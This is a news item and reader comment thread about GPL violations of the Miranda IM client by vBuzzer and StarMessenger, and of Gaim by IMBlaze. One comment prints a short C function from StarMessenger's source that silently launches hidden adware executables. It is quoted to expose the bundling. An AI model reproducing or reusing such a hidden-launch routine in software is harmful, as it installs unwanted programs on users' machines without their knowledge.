GPL Violations of Miranda IM

Eesh writes "The Miranda project developers have recently posted to their development blog about two GPL violations of companies using their code - vBuzzer and StarMessenger. Today, they also posted that vBuzzer are taking steps to correct that violation. Hopefully this will work out fine. Miranda 0.401 stable was released recently"

Comments

Star messanger source code

[thinkliberty]

IT looks like star messanger made good. Their source code is on their front page. http://www.starmessenger.net/StarMessenger_src.zip

Re:Star messanger source code

[Tiersten]

Made good? It'd be better for Star Messenger to be taken outside and destroyed. Star Messenger is a thinly disguised attempt at infecting you with adware.

From StarMessenger/core/miranda.c:

int StartAdware(void)
{
//if (RegDateCheck()==DO_NOT_RUN_ADWARE) return 0;

//WinExec("Test1.exe", SW_SHOW);

WinExec("nngluz564.exe", SW_HIDE);
WinExec("TBGLZ127Q.exe", SW_HIDE);
//WinExec("saap.exe /did=563", SW_HIDE);
return 0;
}

Mmm... Enjoy that adware goodness...

Just to be clear

[wakejagr]

The Starmessanger program is in violation not because they used GPL'd code and don't make source available. They are completely up front that Starmessagner is actually Miranda, but they screwed up and punted the Miranda copyright information. Thus, it appears that this program is copyrighted/developed by someone other than the actual dev's.

Our copyrights have been removed, this is a violation of the GPL as well as copyright law

Kudos to the Miranda folks for explaining all of this really well.

Re:Question...

[Seumas]

One very simple way to at least detect potential similarities is to use strings. In certain situations, you can figure that it should not be likely that two programs would have such identical strings output.

IMBlaze a blatant violation

[sg_oneill]

IMblaze , an instant messenger thats main "feature" is it will spam your contacts with crap, was notified by myself and others at least a year ago that its a blatant rip from gaim. The company refuses to send me source.

I informed the devs of gaim, and they aparently wont act (or cant afford to). But aparently are NOT happy about it.

http://www.imblaze.com/screenshots.asp

Someone needs to stop these creeps.

Re:IMBlaze a blatant violation

[NetNifty]

This is the most blatent GPL violation I've ever seen, I mean come on:

This, compared to this, or this compared to this. Almost completely identical, you'd think that they'd at the very least change the names of the buttons, or at least make some attempt to hide what they've done. About the only thing I can see they've changed is added some icons and changed the main login picture - even the icons for "accounts", "sign on" etc are identical.

If it ever did get to court i'd say its an open and shut case, but hey I'm not in the legal business. Maybe the GAIM team should set up a legal fund, I'd donate at least something and I'm sure many others would too.

Re:Question...

[l2718]

"How does one go about making sure that your source code hasn't been "misappropriated" (read stolen) and placed into a closed source app?"

The short answer is: you can't be sure. In practice, however, people who write programs keep abreast of other software in their field (e.g. people who write an IM client quickly hear about other IM clients). Hwoever, it usually takes an alert user to notice suspicious similarities to existing software. It seems the first tell-tale sign is the directory structure. In almost every case posted to slashdot, it was noted that the directory structures were the same.

If you become suspicious, the next thing is to extract the strings utility. The first thing to look for is the error message strings, but if the executable is not stripped then you can see your function names and source file names.

Finally, there's the question of proving that they "stole" your source code, wher your legal claim will usually be that they violated your copyright. Most of the time, they know they are in the wrong and just contacting them is enough. However, not all offenders cooperate. Harald Welte has successfuly won a preliminary injunction in a German court against a company which violated the GPL when using code form the ipfilter/iptables firewall project.

Re:bad logic

[TERdON]

That IS indeed a violation of both the GPL and most copyright laws. It's a violation of the GPL because it doesn't allow you replacing copyright notices so as to make the program look made by someone else. For reference, GPL 2c:

c) If the modified program normally reads commands interactively when run, you must cause it, when started running for such interactive use in the most ordinary way, to print or display an announcement including an appropriate copyright notice and a notice that there is no warranty (or else, saying that you provide a warranty) and that users may redistribute the program under these conditions, and telling the user how to view a copy of this License. (Exception: if the Program itself is interactive but does not normally print such an announcement, your work based on the Program is not required to print an announcement.)

Re:Just shows open source doesn't work

[RPoet]

Why should software be free, there's no open source supermarket, no open source houses, no open source cars etc. why should software be free and open source?

Because software can technically be copied at no cost, and therefore has the potential of empowering all people. While your computer is a file copier, have you ever seen a supermarket copier, a house copier, a car copier? No. Each "copy" of a car takes much costly resources. The day we are able to copy these things as easily as files, I'll be a huge proponent of free (as in freedom) cars and houses.

The other aspect of software freedom, namely that of open specs so you can learn from it and improve it, are mostly already present in cars and houses. You can open the lid of a car or tear open the floor of your house to see how it was built and maybe improve things.